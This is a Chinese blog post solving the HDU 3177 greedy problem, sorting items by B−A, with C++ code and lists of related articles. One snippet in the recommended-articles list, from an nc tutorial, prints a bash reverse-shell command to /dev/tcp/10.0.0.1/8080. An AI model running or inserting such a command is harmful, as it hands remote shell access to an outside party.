题意:判断 n 件物品是否可以搬进洞里,每件物品有实际体积A和移动时的额外体积 B 。

析:第一反应就是贪心,一想是不是按B从大到小,然后一想,不对,比如体积是20,第一个

是A=11, B=19.第二个是A = 1,B = 18.很明显不对。

我们取AB的差值,进行贪心,为什么呢?

我反过来想一下,假设我们把两个物品搬到洞中,所需要的洞的最小体积。第一个,A = 2,B = 10.

第二个,A = 5, B = 10.如果先放第一个,第放第二个,体积为12,如果反过来则是15,很明显是先放

差值大的,这样为下一个放留下较大的空间。

代码如下:

#include <iostream>
#include <cstdio>
#include <algorithm>
#include <queue>
#include <vector>
#include <cstring>
#include <map>
#include <cctype> using namespace std;
const int maxn = 1000 + 5;
struct node{
int A, B;
bool operator < (const node &p) const {
return (B - A) > (p.B - p.A);
}
};
node a[maxn]; int main(){
// freopen("in.txt", "r", stdin);
int T, n, v; cin >> T;
while(T--){
scanf("%d %d", &v, &n);
for(int i = 0; i < n; ++i)
scanf("%d %d", &a[i].A, &a[i].B);
sort(a, a+n); bool ok = true;
for(int i = 0; i < n; ++i){
if(v < a[i].B){ ok = false; break; }
v -= a[i].A;
} if(ok) puts("Yes");
else puts("No");
}
return 0;
}

HDU 3177 Crixalis's Equipment (贪心,差值)的更多相关文章

  1. Hdu 3177 Crixalis's Equipment

    Crixalis's Equipment Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Oth ...

  2. 【hdu 3177 Crixalis's Equipment】 题解

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=3177 \(describe\): 有一个山洞,山洞的容积最大为\(v\).现在你有\(n\)个物品,这 ...

  3. HDU 3177 Crixalis&#39;s Equipment(贪婪)

    主题链接:http://acm.hdu.edu.cn/showproblem.php? pid=3177 Problem Description Crixalis - Sand King used t ...

  4. hdu 3177 Crixalis&#39;s Equipment

    Crixalis's Equipment Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Oth ...

  5. HDU ACM 3177 Crixalis's Equipment

    Crixalis's Equipment Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Oth ...

  6. 杭电 3177 Crixalis&#39;s Equipment

    http://acm.hdu.edu.cn/showproblem.php? pid=3177 Crixalis's Equipment Time Limit: 2000/1000 MS (Java/ ...

  7. HDOJ 3177 Crixalis&#39;s Equipment

    Crixalis's Equipment Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Oth ...

  8. HD-ACM算法专攻系列(23)——Crixalis's Equipment

    题目描述: AC源码:此次考察贪心算法,解题思路:贪心的原则是使留下的空间最大,优先选择Bi与Ai差值最大的,至于为什么?这里用只有2个设备为例,(A1,B1)与(A2,B2),假设先搬运A1,搬运的 ...

  9. hdu 4825 Xor Sum(trie+贪心)

    hdu 4825 Xor Sum(trie+贪心) 刚刚补了前天的CF的D题再做这题感觉轻松了许多.简直一个模子啊...跑树上异或x最大值.贪心地让某位的值与x对应位的值不同即可. #include ...

随机推荐

  1. nc命令使用详解

    反弹shell方法: 反弹端:bash -i >&  /dev/tcp/10.0.0.1/8080 0>&1  或 bash -i &>  /dev/tcp/ ...

  2. Struts2拦截器的配置

    struts2拦截器interceptor的三种配置方法方法1. 普通配置法 <struts> <package name="struts2" extends=& ...

  3. hadoop 集群安装配置 【转】

    http://www.cnblogs.com/ejiyuan/p/5557061.html 注意:要把master 上所有的配置文件(主要是配置的那四个 xxxx-site.xml 和 xxx-env ...

  4. scala private 和 private[this] 的区别

    class PackageStudy { private var a = 0 private[this] var b = 1 // 只能在类内部使用,对象都不能直接使用 def getb(): Int ...

  5. VS Code常用快捷键总结

    目录: 1.主命令框 2.常用快捷键   (1) 编辑器与窗口管理   (2) 代码编辑     <1> 格式调整     <2> 光标相关     <3> 重构代 ...

  6. JavaScript 累加求和练习 函数

    输入一个数,求从1加到这个数的和 主要代码: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" & ...

  7. 查询中mybatis的if判断里传入0

    1.传入的是long 或者 Integer类型 ,<if test="id != null "> 但是id传值为0时(前提是id对应的类型为long 或者 Intege ...

  8. Web标准:四、纵向导航菜单及二级弹出菜单

    Web标准:四.纵向导航菜单及二级弹出菜单 知识点: 1.纵向列表 2.标签的默认样式 3.css派生选择器 4.css选择器的分组 5.纵向二级列表 6.相对定位和绝对定位   1)纵向列表 可以看 ...

  9. Factorial Trailing Zeroes (Divide-and-Conquer)

    QUESTION Given an integer n, return the number of trailing zeroes in n!. Note: Your solution should ...

  10. Redis阅读目录

    一.Redis简介 点击链接查看:https://www.cnblogs.com/hwlong/p/9325986.html 二.Redis安装及基本配置 点击链接查看:https://www.cnb ...